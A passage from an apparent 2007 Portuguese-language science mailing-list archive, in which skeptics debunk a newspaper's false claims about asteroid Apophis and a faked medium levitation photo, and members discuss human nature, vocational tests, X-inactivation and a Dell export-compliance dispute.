s�o os n�meros e as f�rmulas. Estudou, na Fran�a, matem�tica e f�sica
qu�ntica e, mais tarde, se aperfei�oou em matem�tica aeroespacial. � com
base nesses estudos que elabora sua tese para concorrer ao pr�mio e, de
alguma forma, colaborar para evitar o choque do aster�ide Apophis 2004. O
nome dado ao astro � nada sugestivo, refere-se ao deus eg�pcio da
destrui��o.
Com aproximadamente 400 metros de di�metro, composto basicamente por ferro e
pedras estelares, *o Apophis viaja a uma velocidade surpreendente, capaz de
percorrer mais de 1,1 milh�o de quil�metros por segundo, quase quatro vezes
a velocidade da luz*. Como foi descoberto somente em 2004, *acredita-se que
tenha vindo de outra gal�xia*.
- O que mais impressiona � a velocidade, e, por causa disso, n�o h� arma no
mundo capaz de atingi-lo - afirma.
De acordo com o matem�tico, devido � grande velocidade, um m�ssil lan�ado da
Terra, por exemplo, explodiria antes de chegar ao corpo do aster�ide. *Devido
ao magnetismo da rocha, poeira c�smica e luz formam uma barreira protetora*.
Em caso de colis�o com o planeta, explica C�sar, a vida seria extinta.
- O impacto seria t�o forte que elevaria a temperatura at� 700�C, causando
erup��es vulc�nicas e ondas gigantes - prev�.
Parte do trabalho que desenvolve em torno de seus c�lculos matem�ticos �
compartilhado com a Nasa, onde uma irm� e amigos trabalham. O concurso,
explica, � destinado a universidades e institutos de pesquisa, mas ele
resolveu participar de forma individual. Agora, C�sar est� em busca de
parceiros, cientistas ou institui��es, para compartilhar informa��es.
Sua tese para evitar a colis�o do aster�ide com a Terra � a de alinhar
quatro grandes sat�lites artificiais, equipados com pain�is solares,
emitindo luz e energia do sol contra a rocha. Ele sugere utilizar sat�lites
j� existentes para isso. Os equipamentos est�o no espa�o, alguns armados.
- Energia do sol seria direcionada ao aster�ide fazendo com que ele se
desintegrasse - argumenta.
Esse alinhamento, explica, deveria acontecer daqui a 13 anos, quando tamb�m
ocorre *alinhamento total dos planetas do sistema solar*. A partir da�,
raios luminosos transmitidos pelos sat�lites seguiriam o meteoro. Antes do
choque previsto com a Terra, o Apophis passar� pr�ximo ao planeta em 2029. O
prazo para envio de teses � Nasa sobre como evitar a colis�o se encerra em
10 anos".

N�o sublinhei todas as p�rolas da nota escrita pelo jornalista Marcello
Miranda, apenas as mais impag�veis � embora nada supere a fotografia com
E=mc2 e tudo. Antes que voc� pense ser uma brincadeira do jornal, o
jornalista Miranda existe e � autor de outras mat�rias s�rias, a nota est�
sim na se��o de *Ci�ncia e Tecnologia*, e o peculiar C�sar Bentancurt tamb�m
� real. Uma busca no Google revela que Bentancurt buscou promover um
congresso de ufologia em S�o Bento do
Sul<http://www.mail-archive.com/ufoburn@yahoogrupos.com.br/msg05492.html>
.
*ALERTA*: Embora o aster�ide 99942
Apophis<http://en.wikipedia.org/wiki/99942_Apophis>tenha causado
preocupa��o pouco depois de sua descoberta em 2004, medi��es
posteriores fizeram com que em agosto do ano passado ele fosse rebaixado ao
n�vel mais baixo de risco da escala Torino: *0* (*uma chance neglig�vel de
impacto, estimada em no m�ximo 1 em 45.000 em 2036*). H� realmente um pr�mio
de 50 mil d�lares relacionado ao aster�ide, mas oferecido pela organiza��o
fundada pelo astr�nomo e c�tico Carl Sagan, a Planetary Society: � a Apophis
Mission Design Competition<http://planetary.org/programs/projects/apophis_competition/>.
Seu objetivo n�o � destruir o aster�ide, mas simplesmente enviar um sat�lite
que se encontre com o objeto e instale rastreadores, impulsionando o
desenvolvimento de novas tecnologias.
Em tempo: nada viaja mais r�pido que a velocidade da luz, n�o � plaus�vel
que o Apophis tenha se originado em outra gal�xia, n�o existe algo como uma
barreira protetora impenetr�vel ao seu redor at� onde se sabe e n�o ocorrer�
um alinhamento total dos planetas do sistema solar em 13 anos.
[Agradecimentos a Jaime e Bohne na
Ufolista<http://br.groups.yahoo.com/group/Ufolista/>pela per�la]

*Veja tamb�m:*
Olho de Sauron com bobinas de Tesla <http://100nexos.com/arquivo/85> O
australiano Peter brinca com bobinas de Tesla. ...


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SUBJECT: A levitação do médium Mirabelli
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/09/2007 04:33

A levita��o do m�dium Mirabelli <http://www.ceticismoaberto.com/news/?p=978>


"Levita��o (metarsismo) do psychodynamo Carmine Mirabelli, verificada no
Instituto Psychico Brasileiro (S�o Paulo), achando-se o m�dium em estado
inconsciente. Como se v�, a cabe�a quasi attinge o tecto do sal�o.
Photographia tomada em pleno dia", informa o livro "Prod�gios da Biopsychica
obtidos com o M�dium Mirabelli", de 1937. Al�m de levitar, Mirabelli teria
materializado esp�ritos, escrito em diversas l�nguas e muito mais. Ou muito
menos. A famosa fotografia da levita��o � uma trucagem fotogr�fica
grosseira, em que a escada em que estava o "m�dium" foi apagada:

Note sinais �bvios de adultera��o � al�m do detalhe de que um sujeito
levitando manteria os p�s perfeitamente alinhados. Abaixo, uma
reconstitui��o da escada apagada:

Imagens extra�das do document�rio da BBC "Supernatural Science: Secrets of
Levitation". A fraude tamb�m � comentada por Philippe Piet van
Putten<http://members.tripod.com/%7EMirabelli/falsalevitacao.htm>
.
Como notamos, levitar com os p�s sobre uma escada n�o era o �nico feito do
m�dium. Para fazer levitar um l�pis, por exemplo, ele dizia que o l�pis
"molhado" n�o servia. Precisava "secar" o l�pis, que � quando se sup�e que
prendia um fio de cabelo para poder "levit�-lo". O engra�ado � que algumas
pessoas *sentiam* o fio de cabelo, mas achavam que era um fio de ectoplasma!
Tenha tais exemplos em conta ao observar a fantabulosa materializa��o de
Giuseppe Parini, um esp�rito com peruca e pintado de
preto<http://members.tripod.com/%7EMirabelli/parini.htm>sem nenhuma
semelhan�a com o
poeta vivo<http://www.google.com/images?q=%22Giuseppe+Parini%22&sourceid=navclient-ff&ie=UTF-8&rls=GGGL,GGGL:2006-20,GGGL:en>
.
Se tudo isso parece rid�culo, vale sempre lembrar que d�cadas depois o
pr�prio Chico Xavier ainda estaria �s voltas com a irm�
Josefa<http://www.ipepe.com.br/materializacao.html>.
Nada muito diferente desta fotografia colorida de uma m�dium exalando
ectoplasma <http://www.ceticismoaberto.com/news/?p=608>.
Veja tamb�m

- Chico Xavier,
plagiador?<http://www.ceticismoaberto.com/news/?p=960>O novo s�tio
"Obras Psicografadas", conduzido pelo esp�rita ...
- Cientista da Nasa explica as "aranhas" de
Marte<http://www.ceticismoaberto.com/news/?p=765>A
primavera � uma �poca violenta para o P�lo Sul de Ma...
- Modelo de disco voador
(nazista?)<http://www.ceticismoaberto.com/news/?p=919>Acima, trecho de
um bizarro document�rio alem�o, "UFO: Gehei...
- Sombra imposs�vel? <http://www.ceticismoaberto.com/news/?p=856> Olhe
bem para a inocente imagem acima. Apenas um belo dia jogando frisbee ...
- Um zoom na (ex-)Face em
Marte<http://www.ceticismoaberto.com/news/?p=832>Clique na imagem
acima para ver uma anima��o fenomenal criad...

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Parapsicologia <http://www.ceticismoaberto.com/news/?cat=8>,
Fantasmas<http://www.ceticismoaberto.com/news/?cat=6>,
Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
Fortianismo<http://www.ceticismoaberto.com/news/?cat=4>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=978#respond>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/09/2007 10:34

Caro Homero,

A minha tese não é exatamente de que o homem seja "mau", mas sim de que o
homem não é tão "bom" a ponto de que possa se sentir ofendido por descender
de símios primitivos.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, September 08, 2007 11:55 PM
Subject: [ciencialist] P/ Alvaro - Re: O ser humano é uma besta quadrada


Olá Alvaro

Alvaro: " Certo. Mas uma coisa é ser um animal moderadamente agressivo
que dispõe apenas de arcos e flechas, armas que exigem força, destreza
e treinamento.
Outra coisa é ser um animal moderadamente agressivo que dispõe de
metralhadoras e rifles automáticos, armas que exigem pouco para fazer
um grande estrago. "

Tem toda razão, há uma enorme diferença em termos de capacidade de
dano quando se dispõe de tecnologia avançada. Um psicopata assassino
entre indivíduos de boa índole, em uma sociedade primitiva, tinha
alcance limitado, e seria abatido antes de causar danos extensos.
Mesmo que conseguisse cometer dezenas de assassinatos, não seria
relevante para o grupo como um todo.

Mas um psicopata com tecnologia, bombas e terroristas por exemplo,
causam dano gigantescos, que podem inclusive causar uma ruptura
impossível de ser reparada.

Eu não estava, entretanto, e penso que o Kentaro também não,
discordando dessa situação concreta, mas sim da posição recorrente
sobre a natureza daninha do ser humano, da alegação que a crueldade e
violência seriam parte da natureza humana.

O fato de que pessoas cruéis e violentas causem enorme dano a partir
das capacidades tecnológicas atuais, não significa que seja um
comportamento padrão ou mesmo natural. Me parece que há mais gente
tentando ajudar, em ONGs, em organizações como médicos sem fronteira,
cruz vermelha, doações para países pobres, etc, que terroristas.

Claro que uma ação terrorista tem muito mais chance de aparecer com
destaque na mídia, que os trabalhos diários dos médicos sem fronteira
e claro que nós também sofremos mais e prestamos mais atenção a esses
atos terroristas que as ações benéfica. Afinal, é da natureza humana
ser assim..:-)

Será sempre mais fácil encontrar que se disponha a ajudar a arrecadar
alimentos para um orfanato, que quem se disponha a ir assaltar um
mercado com você, mas o assalto será sempre mais impactante, e mais
emocionalmente significativo que a ajuda ao orfanato.

Penso que a civilização atual só se tornou possível porque é assim,
porque a natureza humana é solidária, gregária, grupal. Se fossemos
diferentes, se o egoísmo fosse a norma, não teria sido possível
avançar das tribos ancestrais, inimigas e sempre em conflito por
território e alimentos, até um tempo onde uma idéia como a ONU, as
nações unidas, fosse possível. Sim, eu sei que a ONU ainda não tem
significancia real ou ampla, mas a simples existência desta idéia, de
uma unidade entre povos e sociedades humanas, só pode surgir se a
grande maioria das pessoas a aceitar de bom grado.

Um abraço.

Homero





--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Certo. Mas uma coisa é ser um animal moderadamente agressivo que dispõe
> apenas de arcos e flechas, armas que exigem força, destreza e
treinamento.
> Outra coisa é ser um animal moderadamente agressivo que dispõe de
> metralhadoras e rifles automáticos, armas que exigem pouco para
fazer um
> grande estrago. E o que acontece quando uma sociedade que dispõe de
armas de
> fogo tem seu tecido social repentinamente rompido? Resposta: Ruanda.
> Resultado: 1 milhão de mortos em um país de pouco menos de 7 milhões de
> habitantes, à época. Assassinato suficiente para mim.
>
> [ ]s
>
> Alvaro Augusto de Almeida
> http://www.alvaroaugusto.com.br
> alvaro@...
>
>
>
>
>
> ----- Original Message -----
> From: "oraculo333" <oraculo@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, September 08, 2007 2:07 AM
> Subject: [ciencialist] Re: O ser humano é uma besta quadrada
>
>
> Olá pessoal
>
> Kentaro: "O Mito do Homem Assassino
> > Um dos erros mais perigosos de nosso tempo é a crença de que os seres
> > humanos são animais unicamente violentos, escassamente contidos de
> > cometer atrocidades uns aos outros pelas restrições da ética, da
> > religião e do estado. Pode parecer estranho a alguns contrariar isto
> > dado o fluxo aparentemente incessante de relatos de atrocidades da
> > Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
> > Mas, na realidade, um pequeno estudo de etologia animal (e alguma
> > aplicação de métodos etológicos no comportamento humano) basta para
> > mostrar à mente imparcial que os seres humanos não são animais
> > especialmente violentos."
>
> Mais ainda, bastaria um simples exame estatístico dos atos violentos
> versus atos não violentos em nossa vida diária. Por exemplo,
> recentemente em minha cidade foi noticia durante quase um mês o
> assassinato de uma criança pelo padastro (um criminoso reincidente).
>
> Esse ato violento chegou na mídia imediatamente e se manteve por algum
> tempo, provocando a revolta da cidade. Entretanto, o fato de que os
> mais de 100 mil habitantes da cidade NÃO cometeram nenhum ato de
> violência desse tipo contra crianças, em décadas, não tem a menor
> chance de aparecer na mídia.
>
> Até mesmo o fato de que o ato de violência choca a maioria das
> pessoas, demonstra que a maioria das pessoas não se sente bem com atos
> de violência.
>
> Não estou diminuindo a importância desses atos, mas apenas notando que
> mesmo no Iraque o número de pessoas que morre em atentados é
> absurdamente menor do que o número de pessoas que vive suas vidas sem
> problemas. É justamente o fato de que nos outros países não se morre
> em atentados diários que torna o Iraque uma notícia triste, mas não
> representa uma evidência da maldade natural ou inevitável do ser humano.
>
> Evolutivamente, nosso comportamento tende a seguir o padrão de animais
> gregários, a colaboração e o cuidado com outros do mesmo grupo.
> Tendemos a ajudar, agir em grupo, e construir com ajuda do grupo, seja
> em uma caçada coletiva, seja na formação das sociedades.
>
> Um abraço.
>
> Homero.
>




SUBJECT: Testes Vocacionais
FROM: Michel Moccelin Viccari <michelm.viccari@yahoo.com.br>
TO: ciência list <ciencialist@yahoogrupos.com.br>
DATE: 11/09/2007 12:19

Olá Pessoal tão querido!
Pessoas, alguém sabe me explicar de que maneira que são feitos os padrões para os testes vocacionais?
Algum de vcs chegaram a fazer o teste aplicado por psicóloga e achou que não foi tão certo assim?
Onde buscaram a inspiração para a sua profissão?
Muito Obrigado pela atenção
Abraços
Michel

Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/09/2007 13:20

Olá Alvaro

Alvaro: "A minha tese não é exatamente de que o homem seja "mau", mas
sim de que o homem não é tão "bom" a ponto de que possa se sentir
ofendido por descender de símios primitivos."

Eu entendi, e concordo plenamente com você, Alvaro. A idéia do "bom
selvagem" não se sustenta de qualquer forma possível, e acho que o
livro de Pinker, Tabula Rasa, demonstra isso com clareza (além de
demonstrar muitas outras coisas interessantes, é um livro excelente).

Somos complexos, como todo primata, e descrições simplistas como bom e
mau não dão conta dessa complexidade.

Eu achei seu texto excelente..:-)

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Caro Homero,
>
> A minha tese não é exatamente de que o homem seja "mau", mas sim de
que o
> homem não é tão "bom" a ponto de que possa se sentir ofendido por
descender
> de símios primitivos.
>
> [ ]s
>
> Alvaro Augusto
>
>
>
> ----- Original Message -----
> From: "oraculo333" <oraculo@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, September 08, 2007 11:55 PM
> Subject: [ciencialist] P/ Alvaro - Re: O ser humano é uma besta quadrada
>
>
> Olá Alvaro
>
> Alvaro: " Certo. Mas uma coisa é ser um animal moderadamente agressivo
> que dispõe apenas de arcos e flechas, armas que exigem força, destreza
> e treinamento.
> Outra coisa é ser um animal moderadamente agressivo que dispõe de
> metralhadoras e rifles automáticos, armas que exigem pouco para fazer
> um grande estrago. "
>
> Tem toda razão, há uma enorme diferença em termos de capacidade de
> dano quando se dispõe de tecnologia avançada. Um psicopata assassino
> entre indivíduos de boa índole, em uma sociedade primitiva, tinha
> alcance limitado, e seria abatido antes de causar danos extensos.
> Mesmo que conseguisse cometer dezenas de assassinatos, não seria
> relevante para o grupo como um todo.
>
> Mas um psicopata com tecnologia, bombas e terroristas por exemplo,
> causam dano gigantescos, que podem inclusive causar uma ruptura
> impossível de ser reparada.
>
> Eu não estava, entretanto, e penso que o Kentaro também não,
> discordando dessa situação concreta, mas sim da posição recorrente
> sobre a natureza daninha do ser humano, da alegação que a crueldade e
> violência seriam parte da natureza humana.
>
> O fato de que pessoas cruéis e violentas causem enorme dano a partir
> das capacidades tecnológicas atuais, não significa que seja um
> comportamento padrão ou mesmo natural. Me parece que há mais gente
> tentando ajudar, em ONGs, em organizações como médicos sem fronteira,
> cruz vermelha, doações para países pobres, etc, que terroristas.
>
> Claro que uma ação terrorista tem muito mais chance de aparecer com
> destaque na mídia, que os trabalhos diários dos médicos sem fronteira
> e claro que nós também sofremos mais e prestamos mais atenção a esses
> atos terroristas que as ações benéfica. Afinal, é da natureza humana
> ser assim..:-)
>
> Será sempre mais fácil encontrar que se disponha a ajudar a arrecadar
> alimentos para um orfanato, que quem se disponha a ir assaltar um
> mercado com você, mas o assalto será sempre mais impactante, e mais
> emocionalmente significativo que a ajuda ao orfanato.
>
> Penso que a civilização atual só se tornou possível porque é assim,
> porque a natureza humana é solidária, gregária, grupal. Se fossemos
> diferentes, se o egoísmo fosse a norma, não teria sido possível
> avançar das tribos ancestrais, inimigas e sempre em conflito por
> território e alimentos, até um tempo onde uma idéia como a ONU, as
> nações unidas, fosse possível. Sim, eu sei que a ONU ainda não tem
> significancia real ou ampla, mas a simples existência desta idéia, de
> uma unidade entre povos e sociedades humanas, só pode surgir se a
> grande maioria das pessoas a aceitar de bom grado.
>
> Um abraço.
>
> Homero
>
>
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> <alvaro@> escreveu
> >
> > Certo. Mas uma coisa é ser um animal moderadamente agressivo que
dispõe
> > apenas de arcos e flechas, armas que exigem força, destreza e
> treinamento.
> > Outra coisa é ser um animal moderadamente agressivo que dispõe de
> > metralhadoras e rifles automáticos, armas que exigem pouco para
> fazer um
> > grande estrago. E o que acontece quando uma sociedade que dispõe de
> armas de
> > fogo tem seu tecido social repentinamente rompido? Resposta: Ruanda.
> > Resultado: 1 milhão de mortos em um país de pouco menos de 7
milhões de
> > habitantes, à época. Assassinato suficiente para mim.
> >
> > [ ]s
> >
> > Alvaro Augusto de Almeida
> > http://www.alvaroaugusto.com.br
> > alvaro@
> >
> >
> >
> >
> >
> > ----- Original Message -----
> > From: "oraculo333" <oraculo@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Saturday, September 08, 2007 2:07 AM
> > Subject: [ciencialist] Re: O ser humano é uma besta quadrada
> >
> >
> > Olá pessoal
> >
> > Kentaro: "O Mito do Homem Assassino
> > > Um dos erros mais perigosos de nosso tempo é a crença de que os
seres
> > > humanos são animais unicamente violentos, escassamente contidos de
> > > cometer atrocidades uns aos outros pelas restrições da ética, da
> > > religião e do estado. Pode parecer estranho a alguns contrariar isto
> > > dado o fluxo aparentemente incessante de relatos de atrocidades da
> > > Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
> > > Mas, na realidade, um pequeno estudo de etologia animal (e alguma
> > > aplicação de métodos etológicos no comportamento humano) basta para
> > > mostrar à mente imparcial que os seres humanos não são animais
> > > especialmente violentos."
> >
> > Mais ainda, bastaria um simples exame estatístico dos atos violentos
> > versus atos não violentos em nossa vida diária. Por exemplo,
> > recentemente em minha cidade foi noticia durante quase um mês o
> > assassinato de uma criança pelo padastro (um criminoso reincidente).
> >
> > Esse ato violento chegou na mídia imediatamente e se manteve por algum
> > tempo, provocando a revolta da cidade. Entretanto, o fato de que os
> > mais de 100 mil habitantes da cidade NÃO cometeram nenhum ato de
> > violência desse tipo contra crianças, em décadas, não tem a menor
> > chance de aparecer na mídia.
> >
> > Até mesmo o fato de que o ato de violência choca a maioria das
> > pessoas, demonstra que a maioria das pessoas não se sente bem com atos
> > de violência.
> >
> > Não estou diminuindo a importância desses atos, mas apenas notando que
> > mesmo no Iraque o número de pessoas que morre em atentados é
> > absurdamente menor do que o número de pessoas que vive suas vidas sem
> > problemas. É justamente o fato de que nos outros países não se morre
> > em atentados diários que torna o Iraque uma notícia triste, mas não
> > representa uma evidência da maldade natural ou inevitável do ser
humano.
> >
> > Evolutivamente, nosso comportamento tende a seguir o padrão de animais
> > gregários, a colaboração e o cuidado com outros do mesmo grupo.
> > Tendemos a ajudar, agir em grupo, e construir com ajuda do grupo, seja
> > em uma caçada coletiva, seja na formação das sociedades.
> >
> > Um abraço.
> >
> > Homero.
> >
>




SUBJECT: A todos
FROM: Observatório Monoceros <observatorio.monoceros@gmail.com>
TO: "Monoceros-Grupo" <Observatorio_Monoceros@yahoogrupos.com.br>
DATE: 11/09/2007 16:41

A todos vocês, queridos amigos, nossos sinceros agradecimentos pelos reportes de suas observações!

Mesmo que os reportes tenham sido de chuva [para alguns], eclipse perfeito [para outros], o mais importante foi atingido: novamente nos unimos , na tentativa, na persistência, na determinação e objetividade de realizações em prol desta ciência tão bela e importante que nos une, que é a Astronomia.

Objetivos alcançados, com chuva ou com Sol... Com a UNIÃO de todos nós, que transcendemos novamente idiomas, fronteiras, barreiras e diferenças diversas.

VIVA A ASTRONOMIA!!!!!!

Fuerte abrazo a todosl!!!!

Lucimary Vargas





-------------------------------------------------------------------------
Lucimary Vargas de Oliveira Guardamino Espinoza
Além Paraíba-MG-Brasil
Presidente:
Observatório Astronômico Monoceros
Estacão Meteorológica Nº083/5ºDISME-INMET
CEPESLE -Centro de Estudos e Pesquisas Sertões do Leste
AHAP-Arquivo Histórico de Além Paraíba
http://www.monoceros.xpg.com.br
http://astronomicando.blogspot.com/
http://arqueoastronomy.blogspot.com/
http://www.arquivohistorico-mg.com.br
http://br.groups.yahoo.com/group/Observatorio_Monoceros/
MSN: observatoriomonoceros@hotmail.com
--------------------------------------------------------------------------

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Convite Semana Nacional da Ciência e Tecnologia 2007
FROM: "deise0109" <deise0109@bol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 11/09/2007 20:19


CONVITE

O FÓRUM MUNICIPAL DE CULTURA DE CAMPINAS CONVIDA A TODOS E TODAS A PARTICIPAREM DAS ATIVIDADES DA SEMANA NACIONAL DA CIÊNCIA E TECNOLOGIA 2007.

ESTAREMOS OFERECENDO PALESTRAS, OFICINAS , ATIVIDADES CULTURAIS , APRESENTAÇÃO DE FILMES E VÍDEOS.

VEJA A PROGRAMAÇÃO COMPLETA NO LINK DO MINISTÉRIO DA CIÊNCIA E TECNOLOGIA
http://semanact.mct.gov.br/index.php/content/view/784.html

LOCAL: ESTAÇÃO CULTURA - AUDITÓRIO PRAÇA FLORIANO PEIXOTO S/N CENTRO- CAMPINAS


Dia 02 de outubro: das 08h às 17h
Dia 03 de outubro: das 13h às 22h
Dia 04 de outubro: das 08h às 13h
Dias 05, 06 e 07 de outubro: das 08h às 18h
Local: Auditório (capacidade máxima: 250 pessoas)
_ Estacionamento da Rua Francisco Theodoro nº 1050 (primeira Rua à direita após o viaduto Dr. Miguel Vicente Cury): local onde o público participante poderá estacionar nos dias 02, 03, 04 e 05 de outubro durante o período das 12h às 17h30min.
Estacionamento da Rua Lidgerwood nº 195 (acessos pelas avenidas Dr. Benjamin Constant ou Av. Lix da Cunha): destinado as operações de infra-estrutura e suporte ao evento, bem como atendimento ao público participante nos dias 06 e 07 de outubro durante o período das 17h30min às 22h.

Um abraço!
Deise Nascimento
http://deisenascimentoblogspot.com/

Fórum Municipal de Cultura de Campinas - FMCC
http://culturacampinas.blogspot.com/



Instituto Árvore da Vida
Preservação Ambiental
Inclusão Social
Projetos Culturais
http://iav.zip.net/
+55(19)91234505
+55(19)21210192


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Identificação Humana
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/09/2007 23:07

--- Em ciencialist@yahoogrupos.com.br, Itabajara Vaz - UFRGS <ita@...>
> A inativação não é aleatória, entre muitos exemplos

A inativação *pode* não ser aleatória - parece ser a condição
ancestral - mas nos eutério de modo geral o processo parece ser aleatório.

Boumil & Lee 2001 - Forty years of decoding the silence in
X-chromosome inactivation. Human Molecular Genetics, 10(20): 2225-32
"It is now known that X-inactivation exists in an imprinted and a
random form, with the imprinted form believed to be the ancestral
mechanism. Marsupial mammals, such as the kangaroo, undergo non-random
X-chromosome inactivation and preferentially shut off the paternal X
chromosome ('imprinted X-inactivation') (2,3). In eutherians
(placental mammals), inactivation takes place randomly in the soma so
that either the paternally or maternally inherited X can be silenced
('random X-inactivation'). In some eutherian mammals, vestiges of
imprinted inactivation can be observed in extra-embryonic tissues
(4,5), while random inactivation takes place in embryonic cell
lineages (epiblast)."
http://hmg.oxfordjournals.org/cgi/content/full/10/20/2225

---------------------
[]s,

Roberto Takata



SUBJECT: Re: Testes Vocacionais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/09/2007 02:08

--- Em ciencialist@yahoogrupos.com.br, Michel Moccelin Viccari
> Pessoas, alguém sabe me explicar de que maneira que são feitos os
> padrões para os testes vocacionais?

Das mais variadas formas possíveis. Infelizmente não são raros os q se
baseiam apenas na opinião particular de quem desenvolveu o teste.

Há os q são baseados em modelos - cognitivos, de competência, de
afinidades, etc.

Há os q são baseados em testes de correlação estatística.

E há os q misturam um pouco de várias coisas em graus variados.

Do pouco q sei, atualmente os psicólogos e afins não consideram os
testes vocacionais muito a sério - podem até usar como ferramentas
auxiliares, mas não como determinantes.

Empresas sérias procuram analisar o perfil individual das pessoas e
incluir diversas atividades exploratórias. São os processos de
orientação profissional (abandonando a idéia de vocação). (Sou
suspeito para falar, posto q trabalhei em uma empresa q tinha o
processo de orientação como um dos serviços oferecidos.)

[]s,

Roberto Takata



SUBJECT: P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/09/2007 02:15

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
escreveu

> Somos complexos, como todo primata, e descrições simplistas como
bom e mau não dão conta dessa complexidade.

Hmmm...

A espécie Homo sapiens sapiens só tem 150 mil anos (por volta disso).
A média de vida das espécies vertebradas, segundo os paleontológos, é
de 3,5 milhões de anos. Ora, o homem moderno já obteve meios de
destruição capazes de promover o próprio extermínio num peteleco.
Segundo alguns cientistas (Stephen Hawking entre outros) é pouco
provável que a humanidade sobreviva por mais cem milênios. Vale
dizer, provavelmente iremos desaparecer prematuramente em
conseqüência de um ato humano, devido a nossa grande engenhosidade. O
que diria uma inteligência extraterrestre depois de estudar nossa
ruína? Como não há razão para supor que ETs sejam necessariamente
anjos, uma resposta provável seria: "os humanos não foram
eficientemente maus".

Segundo Lacan, nossa sexualidade não só é desligada da função de
reprodução como demonstra um forte viés "perverso": sadomasoquismo,
coprofilia, necrofilia... qual outro animal apresenta essa riqueza de
gosto sexual? Interessante é que o homem, através dos mecanismos
psíquicos revelados por Freud e Pavlov, pode sublimar e/ou deslocar
essas pulsões, "desgenitalizá-las" e assim transformá-las em
sadomasoquismo "moral", em necrofilia "moral" etc. Com efeito, "Viva
la muerte!" era o lema das falanges franquistas lideradas pelo
general Millán Astray.

Concordo com quem diz que essas "taras morais" são estatisticamente
insignificantes. Sim, em tempo de paz e estabilidade. Em época de
crise e de guerra, no entanto, são como o grosso do sal e dos
pedregulhos de uma panela de sopa muito mexida: a tendência é de toda
a borra emergir, manter-se na superfície.

[]s
Manuel Bulcão



SUBJECT: P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/09/2007 02:51

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Segundo alguns cientistas (Stephen Hawking entre outros) é pouco
> provável que a humanidade sobreviva por mais cem milênios.

Hawking é meio ciclotímico em relação ao futuro da humanidade. Por
vezes ele acha q iremos colonizar o universo - nesse caso poderemos
nos extinguir localmente, mas sobreviver espalhado (e especiando aqui,
ali, acolá).

Eu sou a favor de transmitir por rádio as seqüências genéticas dos
genomas das espécies, juntamente com informações sobre o ambiente.
Algum dia, uma espécie avançada irá decodificar a mensagem e
reconstituir indivíduos de espécies terráqueas.

[]s,

Roberto Takata



SUBJECT: Efeito mexida ... era ... uma besta quadrada
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/09/2007 04:22

Bulcão destaca:

> ... no entanto, são como o grosso do sal e dos
pedregulhos de uma panela de sopa muito mexida: a tendência é de toda
a borra emergir, manter-se na superfície.<

Alguém lembra o nome desse notável efeito físico? "Durante a mexida, as maiores e mais pesadas vão para cima."

Léo



SUBJECT: Físicos e a Dell
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/09/2007 09:17

Tempos de paranóia...

> Fonte: http://www1.folha.uol.com.br/fsp/ciencia/fe1209200701.htm
>
> _____
>
> Físico pede boicote à Dell após veto a "eixo do mal"
>
> Empresa exigiu que cientista do RJ se comprometesse a não produzir arma
> nuclear
>
> Termo de compromisso proibia universidade federal de transferir
computadores
> da empresa a cidadãos de Cuba e Irã, entre outros
>
> CLAUDIO ANGELO
> EDITOR DE CIÊNCIA
>
> Um grupo de físicos brasileiros está pedindo que acadêmicos no país
inteiro
> boicotem a Dell, a segunda maior fabricante de computadores do mundo.
> O pedido, que circula na internet, foi feito depois que a empresa exigiu
que
> um pesquisador assinasse um termo, ao comprar máquinas da empresa, no qual
> se comprometia a não usá-las "na produção de armas de destruição em massa"
e
> não transferir os equipamentos a cidadãos de Cuba, Irã, Coréia do Norte,
> Sudão e Síria.
> O termo de compromisso, conhecido como "Export Compliance", foi mandado em
> 31 de agosto ao físico nuclear Paulo Gomes, da Universidade Federal
> Fluminense, que havia comprado dois computadores Dell para seu
laboratório.
